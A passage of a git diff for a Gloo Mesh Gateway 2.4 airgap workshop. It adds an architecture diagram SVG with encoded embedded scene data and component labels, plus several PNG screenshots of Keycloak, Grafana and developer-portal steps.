Gab+EyyCVnlVmnf1KvXFxPutf1WFHX5UXUzSZiaeBpjqnZeb7iLlx1MDAwNplgXHUwMDAxR1x1MDAwMb1KhSRw0F52k9aFolNMgGlqg4hJSkRUXHUwMDE5qeJcdTAwMTCos35oZFjT5F19XHUwMDFmXHUwMDFh/aZw0Z0sVv58L1x0XHUwMDAwaMC9/lxmgEqtTKSab1x1MDAxOTDsjGu8nD6L3bRGJ6RyXCLfO4mTQ5qQfmSAyV1cdTAwMDRlJ5VBbGzFZ65cdTAwMTEodm7UjTYxcmo/x6GbXGbAXHUwMDA2ms3xu1x1MDAwMJtcdTAwMWQwi5PzxJJCmSh3+Fx1MDAxZivO8bpccklN7VAwRaPsOfxcdTAwMTZcbntcYlx1MDAwNVNRh1FcdTAwMDOgKJhcdTAwMDWw1XrVoEJcdTAwMDArKFx1MDAwN8tcYlx1MDAxNFx1MDAxYUCgzdBcdTAwMDfQLKBcdTAwMWJAZVx1MDAxYfCPQCsgXHUwMDE0XHUwMDExXHUwMDAzpVx1MDAwMFx1MDAwYlx1MDAwMFx1MDAxOKA+MCimoJdcdTAwMThcdTAwMDNcdTAwMTKm9jjgXHUwMDFmg4FtIbUy6bdcdTAwMDB+NuN3aVx1MDAxOetcdTAwMTCblokwRaHY8mjCvG+ogsMlN1x1MDAwMiiMLTBrgDeYJtKYjiuTM4aHsYlg3Vx1MDAwNFx1MDAxMVx1MDAxYjFcdTAwMWWmlsme0oD4pVx0nWVLSVx1MDAwZlxilpVcdTAwMWJLXHUwMDAwllx1MDAwZfAuI1x1MDAxYiGyu1x1MDAwNDCXQZREkp/1XHUwMDBiXGJYU3rbhFAv/7lA7v5zrYRZry1cdTAwMDJcdTAwMDcuypXj1u1cdTAwMDDFXHUwMDFmW49cdTAwMTfpm2rmOHV8XHUwMDFmdSCoLGPSweqbpJ2VkoBYaWN8SmRcdTAwMTLJkPDyI+7b287iJlx1MDAxOFx1MDAxYvjQ2JiEOFx1MDAxNVxixD9cYlx1MDAwZlx1MDAwYiAxXHUwMDEz1bp+fmSqOJqIxyi7XHUwMDEyo+NEZ1xiu0IgXHUwMDBlolx1MDAwMFx1MDAwMzv6T5IkKFnN6+Lz1ZDWxtlB/WpcdTAwMTivubWtjlxmXHUwMDAy4lx1MDAxNlJcYqxRxU3j+FVcdTAwMDSETaI6YCOQXHUwMDAyYPbb8sc/XHUwMDFmXHUwMDAxwVx1MDAwNI0swiZRiNpcdTAwMGLcf/Sz1kxcYlx1MDAxOCjKoaPfXGJon1J2noAlXHUwMDA2iEUzULmAQUA2Kqo2Olk9MVx1MDAwYoxcdTAwMDfox6TRKOO0RWyja8pcdTAwMTO0XHUwMDE419TcwVx1MDAwNdJcdTAwMWQzUDebvazesFx1MDAwNVx1MDAwNlx1MDAwNMSvXHUwMDE04EG4XHUwMDE18KZcdTAwMGavoydwiZlagFx1MDAxMsZcdTAwMDRON9mTSG2Ead7IXHUwMDA1gFx1MDAwYsX0h0uZXHUwMDE4xaZtXHUwMDAz+lx1MDAwMi6uye3avf6WNIm1XHUwMDAw6LYoZXGuZ5nnp+S0SVx1MDAxMv38eFx1MDAxNJfpkVtcdTAwMGLSXHL1t1ZNxDDr8mhqXHUwMDAxXHUwMDEwoKYtXHUwMDE5/JssO7BcdTAwMDBcdTAwMDdgS1x0+IQog2qVe8BcdTAwMTeAvLIu7lx1MDAwMVxcmGWQuMbASIRw6Vx1MDAwNFxcpCW5qfGpXHUwMDAwXHUwMDEwXHUwMDBi4lBiXHUwMDEwYC1ALPq710+Nnb1dXHR+XHUwMDEyu0jl7uVtXHUwMDAxNS6K+sSuWj6SyWH3pDlQNvmyxklMXHUwMDFkksmZZbQyXGJcdTAwMTU1P2iTvyTUllx1MDAxOe7vlfNEOZMtzsTxOKZ7OMNcdTAwMWbTjvVTTYVBbFx1MDAxY1x1MDAxMFSDNWKgsVqfXHUwMDE0tyhQJFwi1FRbQvjLl+pxo25zrdF1UPJcctuKN6518EGgPFx1MDAxMKy9f2Tq3eMyouVTXHUwMDExXHUwMDA3XHUwMDA1glx1MDAxNNhcXEBpXHUwMDFj0+WsPTCEQV9cdFx0yplcdFNe2L1cXM9exaG5yedVlGFTXHUwMDExnth9hItcYlx1MDAwZm5cIm9cdFx1MDAxMDuAXHUwMDEyrNCadFx1MDAwM7OSULExqO+Ly7a3q1it33qg6ctkhfHO3euwMow5iVx1MDAxMWTS1Vx1MDAwMMhrsKgpTMBWXGZ/IUaMqWtcbntI031ULU7gt5RtW1x1MDAxNKyeY0ZjRVx1MDAwMO9hunRcdTAwMDK9qJ5cbqKPc9NcdTAwMWLA1FdFdG1SX0m2udP2j09XqDo42aZd21x1MDAxZZlq4Fxcb+Vy8u5cdTAwMGJcdTAwMWNR2Vx1MDAwNpDYXHUwMDAyYExcdTAwMThiJqmXrMk2Y+8yQ2uYglx1MDAwNeJcdTAwMGXe9pJtjFx1MDAwMUQkXHUwMDFjkFx1MDAwMzHVdFx1MDAxY1willxyiVx1MDAwMIbkWHKgXHUwMDAwXHUwMDEwyWvAjVx1MDAxMID/mm48jPziwu38garkdb1+r1HqOXVcdTAwMTnDT13ccsFI1FRqXHUwMDEyYGWZwCFcImyHd1x1MDAwYowkiEHoXHUwMDFh7Dak0K6F77cpWI00NnUplMlcblx1MDAwNaJzqk2kweDlnJriXHUwMDE0pi8pkmuz+krSLeZK3uZaI+wtpZtnUjp3P1hVQJBcbsx5/9bpcfU099bMZsdn1902vZy2RV28RTspXHUwMDE37Fx1MDAxMVx1MDAwYsxcdTAwMTLTe9i8LjtcdTAwMTWJ0tIysejGRjAxZGxlXsGUW/DT1s3WXHUwMDEw6cOJKIBYQFx1MDAwM0WzSvQxjlx1MDAwZl8rV52r2GMuXiml6rnU+eXfdrr+7uu2x7ghLe/3sPBdfdNcdTAwMTncXHUwMDE2+o/907ebVK1500mfdV2a/W61Z7PzWXOao7H6tHR8SrOPaNq9cZluQI3dnFx1MDAxN2gx7JpcdTAwMTBcYruxm7Cd86xcdTAwMWViMSxcdTAwMTFoXHUwMDFi/2E83ttcdTAwMWbRZlx1MDAwNEJcdFx1MDAwZoVcdTAwMDNWpkWDUjhBNPvFwlx1MDAwNG5cdTAwMTO28ZQ2YmesXHUwMDBiKtilrZutKP/xTeqfzqDcf7dX0v2Ebr9cdTAwMWKwlEdcdTAwMWJcdTAwMDGY8dHPXHTvgVx1MDAwYoUrLpTmUIiTLUryNujVsIBw7bXHajf3hdpcdMvmz6ONXHUwMDBisSAm4Fx1MDAwZVx1MDAxM6FcdTAwMTUzvd/WkCG3TNckk80oXHUwMDE03TNHPVBgKFx07Fx1MDAxMEdcIrx63PvgQsSPj3li/JquXHUwMDBmJuPKzV3rpF9cIt+4MChcXFx1MDAxONLyflx1MDAwZlx1MDAxYt6wk+NUvJVcdTAwMWOd33XaaDrRNULi7ZNcdTAwMDBI4VlVj1G31y1cdTAwMWOPXtu8dFmbJCv9UOGm81x1MDAwMm1cdTAwMGI3beVR9oWbcoN3XHUwMDAzoS28XHUwMDFi3ttcdTAwMWZRuFx0ekx76TFtilwiXHUwMDA3pMdcdTAwMDLBm5gxJDhcdTAwMTWRxZvO5Pnl8eZcdTAwMDaMXHUwMDE2XHUwMDAw3vQ4ZZGuVqGJndoqv8tbmkb0jIVcdTAwMTNqaYZcdTAwMTlcdTAwMTWCKKT06lx1MDAxOcs8XHUwMDAxzNQ+RoQg5W5cdTAwMTTu1X5TXHUwMDAzoFUmSdu8UuRQXHUwMDE0XHUwMDEwZiGIyUKjnHFuuvCssi9TpsAhQ5E9P97AvUFcdTAwMWaxoHm8NqLmSF1KeJVcdTAwMGV9q0w+XHUwMDA0wibJVyisd+xh5c2/R8tcdTAwMDcsXHUwMDEymVx1MDAwNFx1MDAwN1x0lr1cdTAwMDb7XHUwMDFlO55pm06IoFx1MDAxOFx1MDAxNHxFMrJ+pv3Fmm+6kre5YuuUvVx1MDAxOO8v+8/thZtX6lx1MDAxYUXG0bNFnXlvTFx1MDAxN1HpJrWpX0CB4kxRebJcXP2EaFwigf5N8SNt0lx1MDAwMWhYndNh/5mpsWS6s2vslL6KLYZcdTAwMTgwKlXc1G1gaFxynTCASCZcIjayJ8jBiDffssRkkGttXHUwMDFh8lx1MDAwMbQ057DcobmwXHSNXCLcXHUwMDE0yTN908Wu4THJ22nquHZcdTAwMWUv5mYs3muf6W5+5Fx1MDAxOI9cYvJcckjJVFx1MDAwNeFcdTAwMDLDP7BYXHUwMDBmj5FcdTAwMTaT3JSh1lx1MDAxNEtcdTAwMDJLXHUwMDE3hHg7XFx0jCtxmyu2TteBXHQ37V7LkkrFselcbuhbuHmfu0RTuFx0wS2FwcDi1NSuYKvIjZgmXHUwMDFhQGlEmmovOqTO6fO+pqY2XHUwMDEzn5fqc1xua1x1MDAwNk6lXHUwMDE0XHUwMDExLKlcdTAwMTFinK8npVxibJqtbU5K+eLCzduxvlxmlDBcdTAwMDJQbuqBXHUwMDEwo72kY1xiseRcYkkhgdRcdTAwMDGf/0rI3Das+e2yNZvE0aSHmjGRfLl5OZ5JN/BcdTAwMDZyjVx1MDAxM1MvSYKyXHUwMDE0bH1SwmJcdTAwMWOmy0yuhTJ1hr+0cIu5Uvf803XCXHUwMDBlXHUwMDBlubmXXHUwMDFkMWE6c3DsW7h5XHUwMDFm/kZTuCkuLWpcbidppMzrKnKjpo1cdTAwMWM31ivwhlx1MDAxNiFcdLcg7FKspKJaIf0t3D6Qm0ZcdTAwMWGUljI97/RSQpktrlloQiQyaVx1MDAwM0KzXHUwMDFkcza2XGK2xqbnmvHLmv63cNd1Y1lbQFx1MDAwMyBtmYBXRNejXHUwMDExv83SoyOfZ7zCxierwc1cdTAwMTLNXHUwMDBiVfr3jnv3noyqd5xSZSnjXHUwMDAz4dS8LlekJSA1LKBIjIEgTYE4V/nmpzCnm3wjXGIgou1iTtWYibC0/bK5XHUwMDAwf/nNXHUwMDExQlx1MDAxY1x1MDAwMSxcYk3A7XPqXHUwMDFiK9Uuhycn/Sc6qMdzOJesvlTbf9tpfbczrtC7O+9wXHUwMDE45clzXHUwMDE0uyZcdTAwMTRgXG57qMQ2XHUwMDExUKfqLJ1cdTAwMTiOUoVutlwiXHUwMDBijdok91hcdTAwMWHuXHUwMDAyKlZdymGynFiKuF3JXHUwMDA1JYT7YzlcdTAwMWapoP9TKLNCqbDOcjtcdTAwMDbcKlNcdTAwMTZGko3F/lx1MDAwZsNiyZvMSXJcdTAwMTDrTlx1MDAxMyd3qUq5VFx1MDAxOaDCvTMrfFx1MDAwN1ZsP25Iy1x1MDAxYviwm87onW/4XHRi0e2Mnlx1MDAxMtduQKZcdTAwMGVcdTAwMTPSW1x1MDAxOFneq1x1MDAxOVlcdTAwMTBcIoSXRKTYwn4k4mpcdTAwMTRZWCf0iplcdTAwMTRcdTAwMTWk/6hcdTAwMTN6MHH6MLujfzpVuOE4P7Wvc+iH81x1MDAxYvT86uH8r8n+mupcdTAwMWVwRbjmditcdTAwMDVUwOVcdTAwMTZcdTAwMWQrR3GKUuU7hcfiflwixvhiXHUwMDE0P9+pcv9nolx1MDAxNa49eJNcdTAwMTJcdTAwMWNVtEKUYFx1MDAxOMtcdTAwMTCrVOxcdTAwMDNWmsnhRFeSs1Luslm7XHUwMDFinVXvprGbb7BcdTAwMTJcdTAwMTRYXHRpeUNcdTAwMWFcdTAwMTY/dIqi+PBaaJRcdTAwMWZP0XHi9lx1MDAwNI2vorhcbpuwlfNcclx1MDAwZomttGvsgalcdTAwMDGvXHUwMDE52abVovd6Rlx1MDAxN10xT1x0LiOFrlxiXCIm116Tw1x1MDAxOZlcdTAwMDdAV+X8YDguXHUwMDBmhlx1MDAwN4JXXHUwMDFigMkqvPqY7f74iktXXHUwMDE3rHFcdTAwMDQpKrewfopXb9WHdOn6rsFOX++fO/VkZpCNPH9yjVx1MDAwMN5I0/jCvMqVXHUwMDAwZayUZbpfmFx1MDAwMzfKkUdh68P7YKUpqSflXHUwMDAxY5e91GFYPtiH4e372bRRKVaHp/HOcbzcz8RlXHUwMDAw44rnYeEuX7mKlc5fY7n7e35+9uziXHUwMDFhiYZvl7mHMSuiXHUwMDA1ZsI/LzevqzeZRDVcdTAwMTc/XHUwMDE3zye3hfPnh0LmzoWXo2IrgVx1MDAxNrW0XHSVQPPXlf5+hCDsj5P9XHUwMDE4S4SoQtkpzm8nY4kzRFx1MDAxOJJcdTAwMTEtpfA+7j+Parex7nMzO5m1XHUwMDA3zbPHK/ptLFx1MDAwNWUshbS8X2XYTUaN81xyP0HWulx1MDAxOTXMvZskloTSeVFy34LWez2jXG6aXHUwMDA0XHUwMDE2nqJcdTAwMTZri/hcdTAwMTG1oVg1ZFx1MDAxZFx1MDAxOSFcdTAwMDHGJqIovMDpKFo1k2F+NKzZV/fDlLFcdTAwMWRcdTAwMDNvZ8pcZru2p1xcsWM2gIY1O+bn/HZHPFx1MDAxY7lGyMGiaonpXHUwMDE25kvqViU7N3dPXHUwMDBm+UlPXuTfSn2SdosgiVx1MDAwZeShXHUwMDE2cq3mQVx1MDAxOY0q4sHMVKeXiERcdTAwMTPydE/VKz95f6+25U1fiW4lRnnrXHUwMDFi8lx1MDAwNFx1MDAwNXlCWt4/fNhNSMr5hlx1MDAwN0RSXFy4XHUwMDA2I1EjurcqTe+9nNFcdTAwMDVSykuAXHUwMDBiXHUwMDFjKVx1MDAxY2VcdTAwMTL1pcSH9DBcdTAwMWRcdTAwMDBH9eE2R616uz50yYnfXHUwMDE5TG3wXHUwMDBib0Akq3hqaZ67gyqm3Fx1MDAxM0ZcdTAwMTmBdZbb1F6KJSajXHUwMDE0rlx1MDAxNTrjx6tattu6Zej0OfKoXG55WjcysrCKYExcdDOBXHUwMDExkYRVufTb832i2p7lhrXWMPuKXoe976KcgcGqkJb3e9gwht2E1pxveEi0ZsNcYqu1M5UwrVx0tmhcdTAwMDDnvZzRRWvcUzHoaME1QbXgiKo/yuvVL5fqg0+FaVx1MDAxYiDOXHUwMDFhTJtPcCdcdTAwMTa0p1Y7QDOlmS1cdTAwMWZ3I1x1MDAwZk57SUZcdTAwMTKzQfKcXsdcdTAwMGLZdmI2lMG2ulx0oZWXMtHIhGIsselcdTAwMGKwklx1MDAxMopcdTAwMTC2mDSdaU23L+XRXHLCz3G9XHUwMDFiNiPUoXqHXFzLaGdUU5hHeLbSppRPL312oNNtR95Wfnm72up2Y+3yoFx1MDAxNsuXSt3O4J9OJ1x1MDAwZr9cdTAwMDJcdTAwMDGVXHUwMDFkOV7sXHUwMDFhsOPh5V56ilXe9pqgJ8e7ZoFL9/RcdTAwMDRMleLYXHUwMDE08fHN8t67XHUwMDFlTZZXXFyZ1mGm+4TJuV2tIFxi1GZhXGYsj1x1MDAxOONGXHUwMDAyhsLyoNAtTkxjV0I44cqh76pcdTAwMTZcdTAwMTZinGFgecax0Fx1MDAwZT5vrkw5h9+9fI+3Xjla6bVcdTAwMDL2qknmUJiATY3WS+VwXHUwMDBiYIzWiGNYPYTYeqlcdTAwMWNfWeDewWnLk2JARlx1MDAxOFxiyrSBoaYvzdqkMLVcdTAwMDRcdTAwMDFArCSjSCPK1lx1MDAwYm98qVx1MDAxYVx1MDAxN67kba41wl5cZveX/efWsk24d7fCXG6oXHUwMDEybSXbMvpsnH9rXvWGtPhwXptVivwkXHUwMDE5cdkmJVx1MDAwNWpjlFx1MDAwMqI3nSCXO6rDu8JcItxUv+CcUupcdTAwMTF86KPKt5to49RcItqU0eBcdTAwMDZY2TtXLyqTYWExQkH8Sqq5oOt+JySwXHSg/E3KW7i3g3ZcdTAwMTMvlfOH3mzKn64ntfiDbI7e6mmBncRcdTAwMGKyqIkpnVx1MDAxZn1iXHUwMDEz9LVesYwoS2tT3Vx1MDAwNJu6M0jRQIpcdTAwMWZcdTAwMWVOuLhcdTAwMTLY/NM12tpSumxoI+BcdTAwMWEgQIHbTJ90/1x1MDAwMqZfXHUwMDFjxYfj8mkn28pccmKTbGv0lq5GW8AwtJzaqVc9XHUwMDE2hFumKzJcdTAwMDdS45Iw91x1MDAxMjpcdTAwMDdoMFx1MDAwNUpJKGbvcVx1MDAxZiVfdqfdXHUwMDFhTnlBXHUwMDFmJ15v8lx1MDAwZmX0TFSn8+3LXHUwMDBlypdcdTAwMWTS8n6tYcPqXHUwMDA0XHUwMDE1+HQ3ObOdb7hcdTAwMTh2jVnDdmZcdTAwMGLq3l9GI2NtMP+KwXs5I+rMZlx1MDAxOHurXHUwMDA2RixcdTAwMWWUalxiJPiAmTKW7IBcdTAwMTFjXHUwMDA38GZ3usNYvTN3KX2qT3tcdTAwMDPWWfV72ae5O1qji1x1MDAwNrBr9qBcdTAwMTbzftJbXHUwMDE0JzordWr1UneQqbAn1a6c9kbTUmlcdTAwMTe49nmRXHUwMDA3XHUwMDA2rjHb+dKKd5tibZkyutq01cZCubu6/ERcdTAwMWVcdTAwMDSL1pjAmjBcdTAwMWNic+N9wFx1MDAxYeXdXFxudElcdTAwMDeV7HHzqV0/a749XHUwMDA1kFxmXHUwMDEx0rBhYcD32HN2dFvrJluyWLl6KXdnyYFcYmDc2VSq01x1MDAwYpzPlpM5ctd4uaCDqUui+1bjfq1dXHUwMDBifNhNoMr5hlx1MDAwN1x1MDAwNFV0UaF4XHJUMU2R3Fx1MDAwMlN5r2aEMZWX/KYmayYg+Vx1MDAxZFxipMJSKlwi+Fx1MDAxZlx1MDAxNc55XGI4tVx1MDAwMYusXHUwMDE3UPJcdTAwMDGlXFzz05BrkFx1MDAwMOhoptA2UdXj/Eui+jbpXHUwMDBllHx8vjohddS/jniMXHUwMDAwV6ZbXHUwMDExcFx1MDAxOfBcdTAwMThVfMWuwVorXHUwMDBi1sH0XCKTxDQ9crdr9jkvZFx1MDAwZahpPUTAgFol7Fx1MDAxMCtKMVx1MDAwMsfZ8vQ1p1DnjvR65YLCj2ePY396fVx1MDAxZt3jyN6+Y1x1MDAwNGrDYa9Q70QuNMBhXp7s7XpqppBHRIDkQkngcd9cZu69x5FkcIGZRak0bfqUkLaeL79cdTAwMDJcdTAwMDLmh2bYRFxmKMn3q9jhyt9cYkwxQbRcdTAwMDCjjFIwS1x1MDAxZFwigpSytOk8Y/q7XGKu9VpVeHN+TDjBh+P+T4lcdTAwMDfw1iFHK/FcdTAwMDBcdTAwMDJcdTAwMTNcdTAwMDSGpCBcdTAwMTgzW3WoI+d4XHUwMDAwpnesXG5/3lx1MDAxZaFY73Jw1ku/n5XG7StcdTAwMWXrPLpMSlx1MDAxMMBqUnBGqeZwy7U5XHUwMDExZFx1MDAxMU2IXHSB1YZcdTAwMDNcdTAwMDVbm9SXOrFzp25zrdH1Yry/7D+3lmyYeFx1MDAxNKcmpmecIP4tiGqJTVvN4clrpXaabLbFaV9lol8ujDBh75e6XHUwMDE45Vx1MDAwN3iRzKdT1keIsWvFR2lJ26WIQ8tcdTAwMGKbZPjlXHUwMDAwMi5zXHUwMDEz+vx7XGIz91x1MDAxMIClT75cdTAwMTJbu26ruYDnt2RjN/tcdTAwMDO7n7mDTFx1MDAxN4hKofx7cVPTjMbvpHrffcje8GL1Vdev41HnYlx1MDAxMI9cdTAwMTZRXFxiNn+1XHUwMDE543OEXCJcdTAwMTS2XHUwMDAwvSAkwESxcdcuZ+6uVVvlOtPa+kt8XHUwMDE0xuBcZlx1MDAxMIj4slxyU3fyXHUwMDAwvGNHk1x1MDAwMKulb4ZvXHUwMDEywDx24jDiblx1MDAwMVBGwZrU27T0PCfN4mnh7vYmO0SPTN9ORu3TqDNcdTAwMThGXHUwMDA0m96PiElhXpVcdTAwMDOHXHUwMDA1dnjpymPEqUzfXHUwMDFhj2lcdTAwMDRcdTAwMDaZJl+29dNuLEZcIsJiZDdcdTAwMTazN1x1MDAxYlthMcZN8UXsn8NiZ29Xgp/ELlK5e3lbQI2LonZrXHRcdTAwMWVcdTAwMWRcdTAwMGVcdTAwMDOIXHUwMDAwZrRrXUzDYbZcXDfs3jb3M7RcdTAwMThjoE1xiEVr93GjXHLP9Szz/JScNkmin1x1MDAxZo/iMj1KXHUwMDFjyI325+hIj+ZiSJluqJT7d4M/XzJ1L0coVmvmU6p1rp7SXHUwMDA0R56FlYnc11x1MDAxZrbkauaMYWFJsZCUXHUwMDBi6Zk4XHUwMDEzuo5k5lx1MDAxMjjEblx1MDAwMd86MnBcdTAwMWRcdGaDu6GHMNh6bItCiHdJ2uhcdTAwMGZGk1x1MDAwNpGpm5tcdTAwMWXqjMRr40uwXHUwMDE4llxmrNr5K1tlMU6XWMwjXHUwMDFmdVx1MDAxZlx1MDAxZXPIRnPgMS05YFx1MDAxN/Vn8Vx1MDAxOI1cYo/RPeLiXHUwMDA0do2rwIJyplx03qJccs7b+fTmqlx1MDAxNzvr3d63mi+llCalZMRzQLnpcv5cdTAwMTGpilazpCizXHUwMDE4Nr0kXGJcdTAwMDdTcD8kXHUwMDFhcFx1MDAwZYM05XhomCmf+4TFjYu9XG7J3z2+NTvXzX5nfD1cdTAwMWRfY2dkXHUwMDFhhfi1r5bDXHUwMDEw0vJ+rWHDymH4KquwKYrP+YaLYddkQNhRfFx1MDAxMrtHYYN45ZLKLSwn7/WMKKzjXHUwMDEyeelcdTAwMWKOLVx1MDAxZJC+XHSkurVASJraXHUwMDA3XHUwMDA30zFcdTAwMDdcdTAwMDB2XHUwMDAzgEulfL90dNMtOUO8kEL5NsCnVeC3NM/dISBj7kVcdTAwMTmFwExRtEXQT6P5lkT9XHUwMDBlK87iV1x1MDAxNNVOR1x1MDAxNyfZwi5cdTAwMTDw81IjOOAvRj5KpfLlqD5KXGIyjeyZXHUwMDA2g4xJ6e7v//zMXGKKXHUwMDE5JWBcdTAwMGVHM421z1u9jErdnFx1MDAxZt8m6+k0ib91z5/3V6MhXHL7nVx1MDAxOfFcdTAwMTV37atcZrtcdKo53/CAUM2rVC8nnNGtPHDe61x1MDAxOVWoJrSnXqDSXHUwMDEyXHUwMDAx6YUgsFx1MDAxYZeMaIXYXHUwMDFm1V5cdTAwMTGgz9G4PqxcdTAwMWSddd67zq1cdTAwMTXDQmtcdTAwMWKQzipaW5np7niNM9fjJ7BcdTAwMWOYwKa7om/OpGcjXHUwMDE1O21ke4VKMffQyZSqr6dcdTAwMTGvPMJcdTAwMDUxVWx+MeaKY9x0SbKEhi9ITlx1MDAwNaAjjyyMPUpcdTAwMWLtXHUwMDA22MCWwlxuR7SLYuflXCJ1LVKZM85mmaeH6tWEpXl0gdVXc9mFtLwhXHL7oG+1oirXaL5cXParalx1MDAxY1x1MDAxZr2NXHUwMDFiXHUwMDAxrEKmjmJtWXu+b9xfZd9FKybKNZfWJNtcdTAwMTUoR0VZzaN+XHUwMDFhP1xm7/OJOErgN5e6I9vB7PNZc5qjsfq0dHxKs49o2r1xKc691bhcdTAwMTc9mkZj1Eu2T28vXHUwMDA24zFcdTAwMWU+ZoNoWVx1MDAxYTg5bKy/4njDXHUwMDAzXCJXrl2djFpqSYncXCJJ0Xs5I1x1MDAwYlxcpaeCJMLCvlx1MDAxNOQnXHUwMDE1XHUwMDEzp1x1MDAxOFNuR9B/XHUwMDAwcE20ut2jTHlQ+3Qv41x1MDAwNsS3iluXJ7pcdTAwMDds5Vx1MDAxZWWRhFx1MDAwNGLdXCKyuJsulcWdzOerXHUwMDBmg/vbzuvje0VPvlx1MDAxNGqlaoUptbSIXHUwMDA0Plx1MDAxMFx1MDAxONmbIFx1MDAwNVx1MDAxYfK420GzgslcdTAwMTLFQ4yg2lx1MDAwN7WmT65cdTAwMTkqT1x1MDAxYsfTdKkpXvX1Y+Lu+lx1MDAxYrVcdTAwMDaFWkNa3q81bFhcdTAwMDfNgU93XHUwMDEzWHO+4Vx1MDAwMcGacD9cdTAwMTFcdTAwMTYgXHUwMDA2keTYP1jzXs6vXHUwMDAx1lb1XHUwMDAyw8ySPvTCZ0E1zZXQ7I8qlJdcdTAwMWFcZuvdT4dpXHUwMDFiIM4qTFtMcic+5Mq1slx1MDAwYsEm9Vxc8S3KXHUwMDE5N+RjN/HUK72c5kQp/Z6Pl1x1MDAxZVx1MDAxMm7wLDqMqIRlK1q5nFx1MDAxZVxyklxi+/P271x1MDAxYplhy3L+4EO6npdcIpWprqTp4VwiM7xcdTAwMTTbZV/VXHUwMDFln1x1MDAxM7fZN9Eutlx1MDAxM8f160fq02uyj1xucuRz3+VdLsvVcseZyW1h0J9cdTAwMTPU+3Muu+lU6Vx1MDAxYTyP4TOikb3L0MbeXHUwMDA3vedBdnJ+Uyr3XlP0Urau88noJ3EyqSxJXHUwMDA0XHUwMDEyXHUwMDAyXHUwMDFijbXCzWDSKEubSk1cYoFpw0JkZ+mQZubAzqa3Jlx1MDAxMUxE08aS99lZ4zk9eKuQbC+f6ov0XHLKR52dT1v1pVx1MDAxZDkkO/+ciyc7u1dlcu9ljVx1MDAxOadcdTAwMTIpKvxcdTAwMDdoee9lJF0nmJlcYi3QykRSolx1MDAxMLfV8v3BzaC5JWVCUUKU5numZLv3aTJVLoTUXHUwMDFjY0xAhDh0M5HzjFx1MDAxZEKx0iY+X68zOkVKmza/XzVl22dhJm+tcWRvWoLhzvO6lVRxgDVcdTAwMGKn1NFHSyRmXHUwMDExQcA0XHUwMDAyToDtV+tcdTAwMWSRfo8qKjF3XHUwMDEyM9dcdTAwMWFxLcb7y/7TyNz5XHUwMDFk/s73etkhbPHHRv39Xi+PT9zjXHUwMDEy//q5qEZcZpTNY/3nv3/99/9cdTAwMDOGPuFbIn0= + + + + ingress gatewayeastwest gatewayistiodGloo Mesh agentbookinfo-frontendsnamespacebookinfo-backendsnamespaceproductpagedetailsratingsreviewsproductpagedetailsratingsreviewsextauthrate limiterredisistiodGloo Mesh agentGloo Mesh Gateway componentsGloo Mesh management serverGloo Mesh dashboardPrometheusKubernetes clustersistio-gatewaysnamespaceKubernetes APIserverKubernetes APIserveringress gatewayeastwest gatewayextauthrate limiterredisgloo-mesh-addonsnamespacenot-in-meshin-meshhttpbinnamespacev1v2v1v2v3standard PodPod with EnvoyGloo Mesh PodIstio PodLegendClient \ No newline at end of file diff --git a/gloo-mesh/gateway/2-4/airgap/standalone-portal/images/steps/deploy-keycloak/bookinfo-oidc.png b/gloo-mesh/gateway/2-4/airgap/standalone-portal/images/steps/deploy-keycloak/bookinfo-oidc.png new file mode 100644 index 0000000000..4f8ca57cfb Binary files /dev/null and b/gloo-mesh/gateway/2-4/airgap/standalone-portal/images/steps/deploy-keycloak/bookinfo-oidc.png differ diff --git a/gloo-mesh/gateway/2-4/airgap/standalone-portal/images/steps/deploy-keycloak/keycloak-authentication-dialog.png b/gloo-mesh/gateway/2-4/airgap/standalone-portal/images/steps/deploy-keycloak/keycloak-authentication-dialog.png new file mode 100644 index 0000000000..ee079688d5 Binary files /dev/null and b/gloo-mesh/gateway/2-4/airgap/standalone-portal/images/steps/deploy-keycloak/keycloak-authentication-dialog.png differ diff --git a/gloo-mesh/gateway/2-4/airgap/standalone-portal/images/steps/deploy-keycloak/self-signed-cert-error.png b/gloo-mesh/gateway/2-4/airgap/standalone-portal/images/steps/deploy-keycloak/self-signed-cert-error.png new file mode 100644 index 0000000000..17674252db Binary files /dev/null and b/gloo-mesh/gateway/2-4/airgap/standalone-portal/images/steps/deploy-keycloak/self-signed-cert-error.png differ diff --git a/gloo-mesh/gateway/2-4/airgap/standalone-portal/images/steps/dev-portal-monetization/grafana.png b/gloo-mesh/gateway/2-4/airgap/standalone-portal/images/steps/dev-portal-monetization/grafana.png new file mode 100644 index 0000000000..19983ad4cf Binary files /dev/null and b/gloo-mesh/gateway/2-4/airgap/standalone-portal/images/steps/dev-portal-monetization/grafana.png differ diff --git a/gloo-mesh/gateway/2-4/airgap/standalone-portal/images/steps/dev-portal-self-service/api-key.png b/gloo-mesh/gateway/2-4/airgap/standalone-portal/images/steps/dev-portal-self-service/api-key.png new file mode 100644 index 0000000000..3b5bf6a548 Binary files /dev/null and b/gloo-mesh/gateway/2-4/airgap/standalone-portal/images/steps/dev-portal-self-service/api-key.png differ diff --git a/gloo-mesh/gateway/2-4/airgap/standalone-portal/images/steps/dev-portal-self-service/api-keys.png b/gloo-mesh/gateway/2-4/airgap/standalone-portal/images/steps/dev-portal-self-service/api-keys.png new file mode 100644 index 0000000000..cc94cb8c61 Binary files /dev/null and b/gloo-mesh/gateway/2-4/airgap/standalone-portal/images/steps/dev-portal-self-service/api-keys.png differ diff --git a/gloo-mesh/gateway/2-4/airgap/standalone-portal/images/steps/dev-portal-self-service/apis.png b/gloo-mesh/gateway/2-4/airgap/standalone-portal/images/steps/dev-portal-self-service/apis.png new file mode 100644 index 0000000000..04acf533a0 Binary files /dev/null and b/gloo-mesh/gateway/2-4/airgap/standalone-portal/images/steps/dev-portal-self-service/apis.png differ diff --git a/gloo-mesh/gateway/2-4/airgap/standalone-portal/images/steps/dev-portal-self-service/home.png b/gloo-mesh/gateway/2-4/airgap/standalone-portal/images/steps/dev-portal-self-service/home.png new file mode 100644 index 0000000000..c705b86e11 Binary files /dev/null and b/gloo-mesh/gateway/2-4/airgap/standalone-portal/images/steps/dev-portal-self-service/home.png differ diff --git a/gloo-mesh/gateway/2-4/airgap/standalone-portal/images/steps/gateway-expose/gloo-mesh-gateway.svg b/gloo-mesh/gateway/2-4/airgap/standalone-portal/images/steps/gateway-expose/gloo-mesh-gateway.svg new file mode 100644 index 0000000000..a7c7d4a9e0 --- /dev/null +++ b/gloo-mesh/gateway/2-4/airgap/standalone-portal/images/steps/gateway-expose/gloo-mesh-gateway.svg @@ -0,0 +1,16 @@ + + + 